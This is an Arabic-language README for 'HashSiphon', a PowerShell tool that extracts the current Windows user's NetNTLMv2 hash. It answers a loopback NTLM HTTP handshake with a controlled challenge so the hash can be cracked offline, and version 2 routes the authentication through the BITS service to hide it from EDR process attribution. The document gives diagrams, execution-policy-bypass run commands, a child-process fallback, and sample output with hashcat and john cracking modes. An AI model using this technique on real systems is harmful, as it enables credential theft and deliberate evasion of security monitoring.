
يستخرج تجزئة NetNTLMv2 للمستخدم الحالي عبر تمرير مصادقة HTTP، متجنبًا استدعاءات SSPI المباشرة؛ بينما يفوّض الإصدار v2 المصادقة إلى خدمة BITS لكسر إسناد العملية.
استخراج تجزئة NTLM عبر تمرير المصادقة على طبقة HTTP، دون أي استدعاءات SSPI من عملية المهاجم.
يستخرج HashSiphon تجزئة NetNTLMv2 الخاصة بالمستخدم الحالي عبر التلاعب بتدفقات مصادقة HTTP بدلاً من استدعاء واجهات SSPI مباشرةً. يأتي بإصدارين: v1 يوجّه مصادقة NTLM عبر حزمة HTTP الخاصة بـ .NET داخل العملية نفسها، وv2 يفوّض المصادقة بالكامل إلى خدمة BITS (svchost.exe) في PID مختلف، مما يكسر الإسناد على مستوى العملية تماماً.
كل أداة معروفة لاستخراج تجزئة NTLM ذاتياً Internal Monologue، وسكربتات SSPI اليدوية، ومشتقاتها تستدعي AcquireCredentialsHandle → InitializeSecurityContext → AcceptSecurityContext من عملية المهاجم نفسها. تقوم أنظمة EDR باعتراض هذه الدوال في SSPI ووسم سلسلة الاستدعاء.
يسلك HashSiphon مساراً مختلفاً جذرياً:
| الجانب | Internal Monologue | HashSiphon v1 | HashSiphon v2 |
|---|---|---|---|
| استدعاءات SSPI من PID المهاجم | 4+ استدعاءات مباشرة | 0 مباشر (WinHTTP يستدعي داخلياً) | 0 في أي عملية نملكها |
| عملية المصادقة | PID المهاجم | PID المهاجم (عبر حزمة HTTP) | svchost.exe (خدمة BITS) |
| استيرادات واجهات الأمان | تتطلب استيرادات DLL من SSPI | لا شيء في شفرتنا | لا شيء في شفرتنا |
| سطح الكشف | اعتراضات SSPI، أنماط استدعاء API | حركة مرور HTTP على loopback | مهمة BITS + حركة مرور loopback |
| إسناد العملية | PID المهاجم | PID المهاجم | مكسور، PID مختلف تماماً |
يشترك الإصداران في النواة نفسها: خادم TCP بسيط على 127.0.0.1 يتحدث قدراً كافياً من HTTP لإجراء تبادل تحدي-استجابة NTLM، مع تحدي مُتحكَّم به من 8 بايت بحيث تكون التجزئة المُلتقطة قابلة للكسر دون اتصال.
HashSiphon.ps1)┌──────────────────────────┐
│ PowerShell (PID X) │
│ │
│ ┌────────────────────┐ │ ┌──────────────────────┐
│ │ TCP Server (C#) │◄─┼──────────┤ HttpWebRequest + │
│ │ Loopback :random │ │ HTTP │ DefaultCredentials │
│ │ │──┼──────────► │
│ │ 1. Send 401+NTLM │ │ NTLM │ WinHTTP auto-auths │
│ │ 2. Send Type 2 │ │ Type │ using current user's │
│ │ 3. Capture Type 3 │ │ 1/2/3 │ credentials │
│ │ 4. Extract hash │ │ │ │
│ └────────────────────┘ │ └──────────────────────┘
└──────────────────────────┘
Add-Type، ويربط على 127.0.0.1:0 (منفذ يُخصصه نظام التشغيل)HttpWebRequest + CredentialCache.DefaultCredentialsHTTP 401 مع WWW-Authenticate: NTLM لبدء التفاوضالمقايضة: يستدعي WinHTTP داخلياً SSPI ضمن نفس PID، دون استيرادات مباشرة، لكن سلسلة الاستدعاء لا تزال تعود إلينا.
HashSiphonV2.ps1)┌─────────────────────┐ ┌───────────────────────────┐
│ PowerShell (PID X) │ │ svchost.exe (PID Y) │
│ │ │ BITS Service │
│ ┌───────────────┐ │ HTTP │ │
│ │ TCP Server │◄─┼─────────┤ BITS downloads from our │
│ │ (Background │ │ NTLM │ server, auto-authenticates│
│ │ Runspace) │──┼─────────► using job owner's creds │
│ └───────────────┘ │ Type │ │
│ │ 1/2/3 │ SSPI calls happen HERE, │
│ Start-BitsTransfer─┼────────►│ not in PID X │
│ (Trigger only) │ COM │ │
└─────────────────────┘ └───────────────────────────┘
│
└── Our process: TcpListener + Start-BitsTransfer
Zero SSPI. Zero security API imports.
Start-BitsTransfer مهمة تنزيل تشير إلى http://127.0.0.1:<port>/hashsiphon.binsvchost.exe، وهي PID مختلف تماماً) بخادمناHTTP 200 مع جسم استجابة حتى تعتبر BITS النقل ناجحاًالإنجاز: لا تستدعي عمليتنا SSPI أبداً، لا مباشرةً، ولا عبر WinHTTP، ولا على الإطلاق. تحدث حسابات NTLM بالكامل في svchost.exe. ترى اعتراضات SSPI في EDR سلسلة الاستدعاء في عملية خدمة BITS، وليس في عمليتنا.
powershell -ExecutionPolicy Bypass -File HashSiphon.ps1
powershell -ExecutionPolicy Bypass -File HashSiphonV2.ps1
[*] Compiling HashSiphon v2 server...
[+] Server compiled
HashSiphon v2.0 - BITS Service Proxy Authentication
Auth by svchost.exe (BITS), not our process
[1] NTLM HTTP server ready on 127.0.0.1:52847
[2] Controlled challenge: 1122334455667788
[3] Triggering BITS transfer to our server...
[4] BITS transfer initiated
[+] User: ivan
[+] Domain: DESKTOP-ABCDEF
[+] NT response: 280 bytes (NTLMv2)
+----------------------------------------------------------+
| NetNTLMv2 HASH - Extracted via BITS service proxy! |
+----------------------------------------------------------+
| hashcat -m 5600 | john --format=netntlmv2 |
+----------------------------------------------------------+
ivan::DESKTOP-ABCDEF:1122334455667788:<NTProofStr>:<ClientBlob>
+----------------------------------------------------------+
| ATTRIBUTION ANALYSIS |
+----------------------------------------------------------+
| Our PID: 844 (PowerShell) |
| Auth by: BITS service (svchost.exe, PID 5500) |
| SSPI calls: Zero from PID 844 |
| Our APIs: TcpListener + Start-BitsTransfer only |
+----------------------------------------------------------+
إذا فشلت BITS (الخدمة معطلة، الوحدة غير متاحة)، يعود v2 تلقائياً إلى تشغيل عملية powershell.exe فرعية مع Invoke-WebRequest -UseDefaultCredentials. لا يزال هذا يحقق فصل PID، رغم أن العملية الفرعية أكثر وضوحاً من BITS.